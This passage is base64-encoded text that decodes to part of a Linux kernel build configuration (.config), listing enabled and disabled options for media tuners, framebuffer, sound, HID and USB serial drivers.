R19NRURJQV9UVU5FUl9YQzIwMjg9bQ0KQ09ORklHX01FRElBX1RVTkVSX1hDNTAwMD1tDQpDT05G
SUdfTUVESUFfVFVORVJfWEM0MDAwPW0NCkNPTkZJR19NRURJQV9UVU5FUl9NQzQ0UzgwMz1tDQpD
T05GSUdfVklERU9fVjRMMj1tDQojIENPTkZJR19WSURFT19DQVBUVVJFX0RSSVZFUlMgaXMgbm90
IHNldA0KIyBDT05GSUdfVjRMX01FTTJNRU1fRFJJVkVSUyBpcyBub3Qgc2V0DQojIENPTkZJR19S
QURJT19BREFQVEVSUyBpcyBub3Qgc2V0DQoNCiMNCiMgR3JhcGhpY3Mgc3VwcG9ydA0KIw0KIyBD
T05GSUdfQUdQIGlzIG5vdCBzZXQNCkNPTkZJR19WR0FfQVJCPXkNCkNPTkZJR19WR0FfQVJCX01B
WF9HUFVTPTE2DQojIENPTkZJR19EUk0gaXMgbm90IHNldA0KIyBDT05GSUdfU1RVQl9QT1VMU0JP
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1ZHQVNUQVRFIGlzIG5vdCBzZXQNCkNPTkZJR19WSURFT19P
VVRQVVRfQ09OVFJPTD1tDQpDT05GSUdfRkI9bQ0KQ09ORklHX0ZJUk1XQVJFX0VESUQ9eQ0KQ09O
RklHX0ZCX0REQz1tDQojIENPTkZJR19GQl9CT09UX1ZFU0FfU1VQUE9SVCBpcyBub3Qgc2V0DQpD
T05GSUdfRkJfQ0ZCX0ZJTExSRUNUPW0NCkNPTkZJR19GQl9DRkJfQ09QWUFSRUE9bQ0KQ09ORklH
X0ZCX0NGQl9JTUFHRUJMSVQ9bQ0KIyBDT05GSUdfRkJfQ0ZCX1JFVl9QSVhFTFNfSU5fQllURSBp
cyBub3Qgc2V0DQojIENPTkZJR19GQl9TWVNfRklMTFJFQ1QgaXMgbm90IHNldA0KIyBDT05GSUdf
RkJfU1lTX0NPUFlBUkVBIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1NZU19JTUFHRUJMSVQgaXMg
bm90IHNldA0KQ09ORklHX0ZCX0ZPUkVJR05fRU5ESUFOPXkNCkNPTkZJR19GQl9CT1RIX0VORElB
Tj15DQojIENPTkZJR19GQl9CSUdfRU5ESUFOIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX0xJVFRM
RV9FTkRJQU4gaXMgbm90IHNldA0KIyBDT05GSUdfRkJfU1lTX0ZPUFMgaXMgbm90IHNldA0KIyBD
T05GSUdfRkJfV01UX0dFX1JPUFMgaXMgbm90IHNldA0KIyBDT05GSUdfRkJfU1ZHQUxJQiBpcyBu
b3Qgc2V0DQojIENPTkZJR19GQl9NQUNNT0RFUyBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9CQUNL
TElHSFQgaXMgbm90IHNldA0KQ09ORklHX0ZCX01PREVfSEVMUEVSUz15DQpDT05GSUdfRkJfVElM
RUJMSVRUSU5HPXkNCg0KIw0KIyBGcmFtZSBidWZmZXIgaGFyZHdhcmUgZHJpdmVycw0KIw0KIyBD
T05GSUdfRkJfQ0lSUlVTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1BNMiBpcyBub3Qgc2V0DQoj
IENPTkZJR19GQl9DWUJFUjIwMDAgaXMgbm90IHNldA0KQ09ORklHX0ZCX1NUST1tDQojIENPTkZJ
R19GQl9TMUQxM1hYWCBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9OVklESUEgaXMgbm90IHNldA0K
IyBDT05GSUdfRkJfUklWQSBpcyBub3Qgc2V0DQpDT05GSUdfRkJfTUFUUk9YPW0NCkNPTkZJR19G
Ql9NQVRST1hfTUlMTEVOSVVNPXkNCkNPTkZJR19GQl9NQVRST1hfTVlTVElRVUU9eQ0KQ09ORklH
X0ZCX01BVFJPWF9HPXkNCkNPTkZJR19GQl9NQVRST1hfSTJDPW0NCiMgQ09ORklHX0ZCX01BVFJP
WF9NQVZFTiBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9SQURFT04gaXMgbm90IHNldA0KIyBDT05G
SUdfRkJfQVRZMTI4IGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX0FUWSBpcyBub3Qgc2V0DQojIENP
TkZJR19GQl9TMyBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9TQVZBR0UgaXMgbm90IHNldA0KIyBD
T05GSUdfRkJfU0lTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX05FT01BR0lDIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0ZCX0tZUk8gaXMgbm90IHNldA0KIyBDT05GSUdfRkJfM0RGWCBpcyBub3Qgc2V0
DQojIENPTkZJR19GQl9WT09ET08xIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1ZUODYyMyBpcyBu
b3Qgc2V0DQojIENPTkZJR19GQl9UUklERU5UIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX0FSSyBp
cyBub3Qgc2V0DQojIENPTkZJR19GQl9QTTMgaXMgbm90IHNldA0KIyBDT05GSUdfRkJfQ0FSTUlO
RSBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9TTVNDVUZYIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZC
X1VETCBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9WSVJUVUFMIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0ZCX01FVFJPTk9NRSBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9NQjg2MlhYIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0ZCX0JST0FEU0hFRVQgaXMgbm90IHNldA0KIyBDT05GSUdfQkFDS0xJR0hUX0xD
RF9TVVBQT1JUIGlzIG5vdCBzZXQNCg0KIw0KIyBEaXNwbGF5IGRldmljZSBzdXBwb3J0DQojDQoj
IENPTkZJR19ESVNQTEFZX1NVUFBPUlQgaXMgbm90IHNldA0KDQojDQojIENvbnNvbGUgZGlzcGxh
eSBkcml2ZXIgc3VwcG9ydA0KIw0KQ09ORklHX0RVTU1ZX0NPTlNPTEU9eQ0KQ09ORklHX0RVTU1Z
X0NPTlNPTEVfQ09MVU1OUz0xMjgNCkNPTkZJR19EVU1NWV9DT05TT0xFX1JPV1M9NDgNCkNPTkZJ
R19GUkFNRUJVRkZFUl9DT05TT0xFPW0NCiMgQ09ORklHX0ZSQU1FQlVGRkVSX0NPTlNPTEVfREVU
RUNUX1BSSU1BUlkgaXMgbm90IHNldA0KIyBDT05GSUdfRlJBTUVCVUZGRVJfQ09OU09MRV9ST1RB
VElPTiBpcyBub3Qgc2V0DQpDT05GSUdfU1RJX0NPTlNPTEU9eQ0KIyBDT05GSUdfRk9OVFMgaXMg
bm90IHNldA0KQ09ORklHX0ZPTlRfOHg4PXkNCkNPTkZJR19GT05UXzh4MTY9eQ0KIyBDT05GSUdf
TE9HTyBpcyBub3Qgc2V0DQpDT05GSUdfU09VTkQ9bQ0KQ09ORklHX1NPVU5EX09TU19DT1JFPXkN
CkNPTkZJR19TT1VORF9PU1NfQ09SRV9QUkVDTEFJTT15DQpDT05GSUdfU05EPW0NCkNPTkZJR19T
TkRfVElNRVI9bQ0KQ09ORklHX1NORF9QQ009bQ0KQ09ORklHX1NORF9IV0RFUD1tDQpDT05GSUdf
U05EX1JBV01JREk9bQ0KQ09ORklHX1NORF9TRVFVRU5DRVI9bQ0KIyBDT05GSUdfU05EX1NFUV9E
VU1NWSBpcyBub3Qgc2V0DQpDT05GSUdfU05EX09TU0VNVUw9eQ0KQ09ORklHX1NORF9NSVhFUl9P
U1M9bQ0KQ09ORklHX1NORF9QQ01fT1NTPW0NCkNPTkZJR19TTkRfUENNX09TU19QTFVHSU5TPXkN
CkNPTkZJR19TTkRfU0VRVUVOQ0VSX09TUz15DQpDT05GSUdfU05EX0RZTkFNSUNfTUlOT1JTPXkN
CkNPTkZJR19TTkRfU1VQUE9SVF9PTERfQVBJPXkNCkNPTkZJR19TTkRfVkVSQk9TRV9QUk9DRlM9
eQ0KIyBDT05GSUdfU05EX1ZFUkJPU0VfUFJJTlRLIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9E
RUJVRyBpcyBub3Qgc2V0DQpDT05GSUdfU05EX1ZNQVNURVI9eQ0KQ09ORklHX1NORF9SQVdNSURJ
X1NFUT1tDQojIENPTkZJR19TTkRfT1BMM19MSUJfU0VRIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NO
RF9PUEw0X0xJQl9TRVEgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX1NCQVdFX1NFUSBpcyBub3Qg
c2V0DQojIENPTkZJR19TTkRfRU1VMTBLMV9TRVEgaXMgbm90IHNldA0KQ09ORklHX1NORF9BQzk3
X0NPREVDPW0NCkNPTkZJR19TTkRfRFJJVkVSUz15DQojIENPTkZJR19TTkRfRFVNTVkgaXMgbm90
IHNldA0KIyBDT05GSUdfU05EX0FMT09QIGlzIG5vdCBzZXQNCkNPTkZJR19TTkRfVklSTUlEST1t
DQojIENPTkZJR19TTkRfTVRQQVYgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX01UUzY0IGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NORF9TRVJJQUxfVTE2NTUwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NO
RF9NUFU0MDEgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX1BPUlRNQU4yWDQgaXMgbm90IHNldA0K
IyBDT05GSUdfU05EX0FDOTdfUE9XRVJfU0FWRSBpcyBub3Qgc2V0DQpDT05GSUdfU05EX1BDST15
DQpDT05GSUdfU05EX0FEMTg4OT1tDQojIENPTkZJR19TTkRfQUxTMzAwIGlzIG5vdCBzZXQNCiMg
Q09ORklHX1NORF9BTEk1NDUxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9BVElJWFAgaXMgbm90
IHNldA0KIyBDT05GSUdfU05EX0FUSUlYUF9NT0RFTSBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRf
QVU4ODEwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9BVTg4MjAgaXMgbm90IHNldA0KIyBDT05G
SUdfU05EX0FVODgzMCBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfQVcyIGlzIG5vdCBzZXQNCiMg
Q09ORklHX1NORF9BWlQzMzI4IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9CVDg3WCBpcyBub3Qg
c2V0DQojIENPTkZJR19TTkRfQ0EwMTA2IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9DTUlQQ0kg
aXMgbm90IHNldA0KIyBDT05GSUdfU05EX09YWUdFTiBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRf
Q1M0MjgxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9DUzQ2WFggaXMgbm90IHNldA0KIyBDT05G
SUdfU05EX0NTNTUzNUFVRElPIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9DVFhGSSBpcyBub3Qg
c2V0DQojIENPTkZJR19TTkRfREFSTEEyMCBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfR0lOQTIw
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9MQVlMQTIwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NO
RF9EQVJMQTI0IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9HSU5BMjQgaXMgbm90IHNldA0KIyBD
T05GSUdfU05EX0xBWUxBMjQgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX01PTkEgaXMgbm90IHNl
dA0KIyBDT05GSUdfU05EX01JQSBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfRUNITzNHIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NORF9JTkRJR08gaXMgbm90IHNldA0KIyBDT05GSUdfU05EX0lORElH
T0lPIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9JTkRJR09ESiBpcyBub3Qgc2V0DQojIENPTkZJ
R19TTkRfSU5ESUdPSU9YIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9JTkRJR09ESlggaXMgbm90
IHNldA0KIyBDT05GSUdfU05EX0VNVTEwSzEgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX0VNVTEw
SzFYIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9FTlMxMzcwIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NORF9FTlMxMzcxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9FUzE5MzggaXMgbm90IHNldA0K
IyBDT05GSUdfU05EX0VTMTk2OCBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfRk04MDEgaXMgbm90
IHNldA0KIyBDT05GSUdfU05EX0hEQV9JTlRFTCBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfSERT
UCBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfSERTUE0gaXMgbm90IHNldA0KIyBDT05GSUdfU05E
X0lDRTE3MTIgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX0lDRTE3MjQgaXMgbm90IHNldA0KIyBD
T05GSUdfU05EX0lOVEVMOFgwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9JTlRFTDhYME0gaXMg
bm90IHNldA0KIyBDT05GSUdfU05EX0tPUkcxMjEyIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9M
T0xBIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9MWDY0NjRFUyBpcyBub3Qgc2V0DQojIENPTkZJ
R19TTkRfTUFFU1RSTzMgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX01JWEFSVCBpcyBub3Qgc2V0
DQojIENPTkZJR19TTkRfTk0yNTYgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX1BDWEhSIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NORF9SSVBUSURFIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9STUUz
MiBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfUk1FOTYgaXMgbm90IHNldA0KIyBDT05GSUdfU05E
X1JNRTk2NTIgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX1NPTklDVklCRVMgaXMgbm90IHNldA0K
IyBDT05GSUdfU05EX1RSSURFTlQgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX1ZJQTgyWFggaXMg
bm90IHNldA0KIyBDT05GSUdfU05EX1ZJQTgyWFhfTU9ERU0gaXMgbm90IHNldA0KIyBDT05GSUdf
U05EX1ZJUlRVT1NPIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9WWDIyMiBpcyBub3Qgc2V0DQoj
IENPTkZJR19TTkRfWU1GUENJIGlzIG5vdCBzZXQNCkNPTkZJR19TTkRfVVNCPXkNCkNPTkZJR19T
TkRfVVNCX0FVRElPPW0NCiMgQ09ORklHX1NORF9VU0JfVUExMDEgaXMgbm90IHNldA0KQ09ORklH
X1NORF9VU0JfQ0FJQVE9bQ0KIyBDT05GSUdfU05EX1VTQl9DQUlBUV9JTlBVVCBpcyBub3Qgc2V0
DQojIENPTkZJR19TTkRfVVNCXzZGSVJFIGlzIG5vdCBzZXQNCkNPTkZJR19TTkRfR1NDPXkNCkNP
TkZJR19TTkRfSEFSTU9OWT1tDQojIENPTkZJR19TTkRfU09DIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NPVU5EX1BSSU1FIGlzIG5vdCBzZXQNCkNPTkZJR19BQzk3X0JVUz1tDQpDT05GSUdfSElEX1NV
UFBPUlQ9eQ0KQ09ORklHX0hJRD1tDQpDT05GSUdfSElEUkFXPXkNCg0KIw0KIyBVU0IgSW5wdXQg
RGV2aWNlcw0KIw0KQ09ORklHX1VTQl9ISUQ9bQ0KQ09ORklHX0hJRF9QSUQ9eQ0KIyBDT05GSUdf
VVNCX0hJRERFViBpcyBub3Qgc2V0DQoNCiMNCiMgVVNCIEhJRCBCb290IFByb3RvY29sIGRyaXZl
cnMNCiMNCiMgQ09ORklHX1VTQl9LQkQgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX01PVVNFIGlz
IG5vdCBzZXQNCg0KIw0KIyBTcGVjaWFsIEhJRCBkcml2ZXJzDQojDQojIENPTkZJR19ISURfQTRU
RUNIIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hJRF9BQ1JVWCBpcyBub3Qgc2V0DQojIENPTkZJR19I
SURfQVBQTEUgaXMgbm90IHNldA0KIyBDT05GSUdfSElEX0JFTEtJTiBpcyBub3Qgc2V0DQojIENP
TkZJR19ISURfQ0hFUlJZIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hJRF9DSElDT05ZIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0hJRF9QUk9ESUtFWVMgaXMgbm90IHNldA0KIyBDT05GSUdfSElEX0NZUFJF
U1MgaXMgbm90IHNldA0KQ09ORklHX0hJRF9EUkFHT05SSVNFPW0NCiMgQ09ORklHX0RSQUdPTlJJ
U0VfRkYgaXMgbm90IHNldA0KIyBDT05GSUdfSElEX0VNU19GRiBpcyBub3Qgc2V0DQojIENPTkZJ
R19ISURfRVpLRVkgaXMgbm90IHNldA0KIyBDT05GSUdfSElEX0hPTFRFSyBpcyBub3Qgc2V0DQoj
IENPTkZJR19ISURfS0VZVE9VQ0ggaXMgbm90IHNldA0KIyBDT05GSUdfSElEX0tZRSBpcyBub3Qg
c2V0DQojIENPTkZJR19ISURfVUNMT0dJQyBpcyBub3Qgc2V0DQojIENPTkZJR19ISURfV0FMVE9Q
IGlzIG5vdCBzZXQNCkNPTkZJR19ISURfR1lSQVRJT049bQ0KQ09ORklHX0hJRF9UV0lOSEFOPW0N
CiMgQ09ORklHX0hJRF9LRU5TSU5HVE9OIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hJRF9MQ1BPV0VS
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0hJRF9MT0dJVEVDSCBpcyBub3Qgc2V0DQojIENPTkZJR19I
SURfTUlDUk9TT0ZUIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hJRF9NT05URVJFWSBpcyBub3Qgc2V0
DQojIENPTkZJR19ISURfTVVMVElUT1VDSCBpcyBub3Qgc2V0DQpDT05GSUdfSElEX05UUklHPW0N
CkNPTkZJR19ISURfT1JURUs9bQ0KQ09ORklHX0hJRF9QQU5USEVSTE9SRD1tDQojIENPTkZJR19Q
QU5USEVSTE9SRF9GRiBpcyBub3Qgc2V0DQpDT05GSUdfSElEX1BFVEFMWU5YPW0NCiMgQ09ORklH
X0hJRF9QSUNPTENEIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hJRF9QUklNQVggaXMgbm90IHNldA0K
IyBDT05GSUdfSElEX1FVQU5UQSBpcyBub3Qgc2V0DQojIENPTkZJR19ISURfUk9DQ0FUIGlzIG5v
dCBzZXQNCkNPTkZJR19ISURfU0FNU1VORz1tDQpDT05GSUdfSElEX1NPTlk9bQ0KIyBDT05GSUdf
SElEX1NQRUVETElOSyBpcyBub3Qgc2V0DQpDT05GSUdfSElEX1NVTlBMVVM9bQ0KQ09ORklHX0hJ
RF9HUkVFTkFTSUE9bQ0KIyBDT05GSUdfR1JFRU5BU0lBX0ZGIGlzIG5vdCBzZXQNCkNPTkZJR19I
SURfU01BUlRKT1lQTFVTPW0NCiMgQ09ORklHX1NNQVJUSk9ZUExVU19GRiBpcyBub3Qgc2V0DQpD
T05GSUdfSElEX1RPUFNFRUQ9bQ0KQ09ORklHX0hJRF9USFJVU1RNQVNURVI9bQ0KIyBDT05GSUdf
VEhSVVNUTUFTVEVSX0ZGIGlzIG5vdCBzZXQNCkNPTkZJR19ISURfWkVST1BMVVM9bQ0KIyBDT05G
SUdfWkVST1BMVVNfRkYgaXMgbm90IHNldA0KIyBDT05GSUdfSElEX1pZREFDUk9OIGlzIG5vdCBz
ZXQNCkNPTkZJR19VU0JfU1VQUE9SVD15DQpDT05GSUdfVVNCX0NPTU1PTj1tDQpDT05GSUdfVVNC
X0FSQ0hfSEFTX0hDRD15DQpDT05GSUdfVVNCX0FSQ0hfSEFTX09IQ0k9eQ0KQ09ORklHX1VTQl9B
UkNIX0hBU19FSENJPXkNCkNPTkZJR19VU0JfQVJDSF9IQVNfWEhDST15DQpDT05GSUdfVVNCPW0N
CiMgQ09ORklHX1VTQl9ERUJVRyBpcyBub3Qgc2V0DQpDT05GSUdfVVNCX0FOTk9VTkNFX05FV19E
RVZJQ0VTPXkNCg0KIw0KIyBNaXNjZWxsYW5lb3VzIFVTQiBvcHRpb25zDQojDQpDT05GSUdfVVNC
X0RFVklDRUZTPXkNCkNPTkZJR19VU0JfREVWSUNFX0NMQVNTPXkNCiMgQ09ORklHX1VTQl9EWU5B
TUlDX01JTk9SUyBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfT1RHX1dISVRFTElTVCBpcyBub3Qg
c2V0DQojIENPTkZJR19VU0JfT1RHX0JMQUNLTElTVF9IVUIgaXMgbm90IHNldA0KIyBDT05GSUdf
VVNCX0RXQzMgaXMgbm90IHNldA0KQ09ORklHX1VTQl9NT049bQ0KIyBDT05GSUdfVVNCX1dVU0Ig
aXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1dVU0JfQ0JBRiBpcyBub3Qgc2V0DQoNCiMNCiMgVVNC
IEhvc3QgQ29udHJvbGxlciBEcml2ZXJzDQojDQojIENPTkZJR19VU0JfQzY3WDAwX0hDRCBpcyBu
b3Qgc2V0DQojIENPTkZJR19VU0JfWEhDSV9IQ0QgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0VI
Q0lfSENEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9PWFUyMTBIUF9IQ0QgaXMgbm90IHNldA0K
IyBDT05GSUdfVVNCX0lTUDExNlhfSENEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9JU1AxNzYw
X0hDRCBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfSVNQMTM2Ml9IQ0QgaXMgbm90IHNldA0KQ09O
RklHX1VTQl9PSENJX0hDRD1tDQojIENPTkZJR19VU0JfT0hDSV9IQ0RfU1NCIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1VTQl9PSENJX0JJR19FTkRJQU5fREVTQyBpcyBub3Qgc2V0DQojIENPTkZJR19V
U0JfT0hDSV9CSUdfRU5ESUFOX01NSU8gaXMgbm90IHNldA0KQ09ORklHX1VTQl9PSENJX0xJVFRM
RV9FTkRJQU49eQ0KQ09ORklHX1VTQl9VSENJX0hDRD1tDQojIENPTkZJR19VU0JfU0w4MTFfSENE
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9SOEE2NjU5N19IQ0QgaXMgbm90IHNldA0KIyBDT05G
SUdfVVNCX1dIQ0lfSENEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9IV0FfSENEIGlzIG5vdCBz
ZXQNCg0KIw0KIyBVU0IgRGV2aWNlIENsYXNzIGRyaXZlcnMNCiMNCkNPTkZJR19VU0JfQUNNPW0N
CkNPTkZJR19VU0JfUFJJTlRFUj1tDQojIENPTkZJR19VU0JfV0RNIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1VTQl9UTUMgaXMgbm90IHNldA0KDQojDQojIE5PVEU6IFVTQl9TVE9SQUdFIGRlcGVuZHMg
b24gU0NTSSBidXQgQkxLX0RFVl9TRCBtYXkNCiMNCg0KIw0KIyBhbHNvIGJlIG5lZWRlZDsgc2Vl
IFVTQl9TVE9SQUdFIEhlbHAgZm9yIG1vcmUgaW5mbw0KIw0KQ09ORklHX1VTQl9TVE9SQUdFPW0N
CiMgQ09ORklHX1VTQl9TVE9SQUdFX0RFQlVHIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9S
QUdFX1JFQUxURUsgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NUT1JBR0VfREFUQUZBQiBpcyBu
b3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9GUkVFQ09NIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1VTQl9TVE9SQUdFX0lTRDIwMCBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9VU0JB
VCBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9TRERSMDkgaXMgbm90IHNldA0KIyBD
T05GSUdfVVNCX1NUT1JBR0VfU0REUjU1IGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9SQUdF
X0pVTVBTSE9UIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9SQUdFX0FMQVVEQSBpcyBub3Qg
c2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9PTkVUT1VDSCBpcyBub3Qgc2V0DQojIENPTkZJR19V
U0JfU1RPUkFHRV9LQVJNQSBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9DWVBSRVNT
X0FUQUNCIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9SQUdFX0VORV9VQjYyNTAgaXMgbm90
IHNldA0KIyBDT05GSUdfVVNCX1VBUyBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfTElCVVNVQUwg
aXMgbm90IHNldA0KDQojDQojIFVTQiBJbWFnaW5nIGRldmljZXMNCiMNCiMgQ09ORklHX1VTQl9N
REM4MDAgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX01JQ1JPVEVLIGlzIG5vdCBzZXQNCg0KIw0K
IyBVU0IgcG9ydCBkcml2ZXJzDQojDQojIENPTkZJR19VU0JfVVNTNzIwIGlzIG5vdCBzZXQNCkNP
TkZJR19VU0JfU0VSSUFMPW0NCkNPTkZJR19VU0JfRVpVU0I9eQ0KQ09ORklHX1VTQl9TRVJJQUxf
R0VORVJJQz15DQpDT05GSUdfVVNCX1NFUklBTF9BSVJDQUJMRT1tDQpDT05GSUdfVVNCX1NFUklB
TF9BUkszMTE2PW0NCkNPTkZJR19VU0JfU0VSSUFMX0JFTEtJTj1tDQpDT05GSUdfVVNCX1NFUklB
TF9DSDM0MT1tDQpDT05GSUdfVVNCX1NFUklBTF9XSElURUhFQVQ9bQ0KQ09ORklHX1VTQl9TRVJJ
QUxfRElHSV9BQ0NFTEVQT1JUPW0NCiMgQ09ORklHX1VTQl9TRVJJQUxfQ1AyMTBYIGlzIG5vdCBz
ZXQNCkNPTkZJR19VU0JfU0VSSUFMX0NZUFJFU1NfTTg9bQ0KQ09ORklHX1VTQl9TRVJJQUxfRU1Q
RUc9bQ0KQ09ORklHX1VTQl9TRVJJQUxfRlRESV9TSU89bQ0KQ09ORklHX1VTQl9TRVJJQUxfRlVO
U09GVD1tDQpDT05GSUdfVVNCX1NFUklBTF9WSVNPUj1tDQpDT05GSUdfVVNCX1NFUklBTF9JUEFR
PW0NCkNPTkZJR19VU0JfU0VSSUFMX0lSPW0NCkNPTkZJR19VU0JfU0VSSUFMX0VER0VQT1JUPW0N
CkNPTkZJR19VU0JfU0VSSUFMX0VER0VQT1JUX1RJPW0NCkNPTkZJR19VU0JfU0VSSUFMX0dBUk1J
Tj1tDQpDT05GSUdfVVNCX1NFUklBTF9JUFc9bQ0KIyBDT05GSUdfVVNCX1NFUklBTF9JVVUgaXMg
bm90IHNldA0KQ09ORklHX1VTQl9TRVJJQUxfS0VZU1BBTl9QREE9bQ0KIyBDT05GSUdfVVNCX1NF
UklBTF9LRVlTUEFOIGlzIG5vdCBzZXQNCkNPTkZJR19VU0JfU0VSSUFMX0tMU0k9bQ0KQ09ORklH
X1VTQl9TRVJJQUxfS09CSUxfU0NUPW0NCkNPTkZJR19VU0JfU0VSSUFMX01DVF9VMjMyPW0NCkNP
TkZJR19VU0JfU0VSSUFMX01PUzc3MjA9bQ0KIyBDT05GSUdfVVNCX1NFUklBTF9NT1M3NzE1X1BB
UlBPUlQgaXMgbm90IHNldA0KQ09ORklHX1VTQl9TRVJJQUxfTU9TNzg0MD1tDQojIENPTkZJR19V
U0JfU0VSSUFMX01PVE9ST0xBIGlzIG5vdCBzZXQNCkNPTkZJR19VU0JfU0VSSUFMX05BVk1BTj1t
DQpDT05GSUdfVVNCX1NFUklBTF9QTDIzMDM9bQ0KQ09ORklHX1VTQl9TRVJJQUxfT1RJNjg1OD1t
DQojIENPTkZJR19VU0JfU0VSSUFMX1FDQVVYIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TRVJJ
QUxfUVVBTENPTU0gaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NFUklBTF9TUENQOFg1IGlzIG5v
dCBzZXQNCkNPTkZJR19VU0JfU0VSSUFMX0hQNFg9bQ0KQ09ORklHX1VTQl9TRVJJQUxfU0FGRT1t
DQojIENPTkZJR19VU0JfU0VSSUFMX1NBRkVfUEFEREVEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VT
Ql9TRVJJQUxfU0lFTUVOU19NUEkgaXMgbm90IHNldA0KQ09ORklHX1VTQl9TRVJJQUxfU0lFUlJB
V0lSRUxFU1M9bQ0KIyBDT05GSUdfVVNCX1NFUklBTF9TWU1CT0wgaXMgbm90IHNldA0KIyBDT05G
SUdfVVNCX1NFUklBTF9USSBpcyBub3Qgc2V0DQpDT05GSUdfVVNCX1NFUklBTF9DWUJFUkpBQ0s9
bQ0KQ09ORklHX1VTQl9TRVJJQUxfWElSQ09NPW0NCkNPTkZJR19VU0JfU0VSSUFMX1dXQU49bQ0K
Q09ORklHX1VTQl9TRVJJQUxfT1BUSU9OPW0NCkNPTkZJR19VU0JfU0VSSUFMX09NTklORVQ9bQ0K
IyBDT05GSUdfVVNCX1NFUklBTF9PUFRJQ09OIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TRVJJ
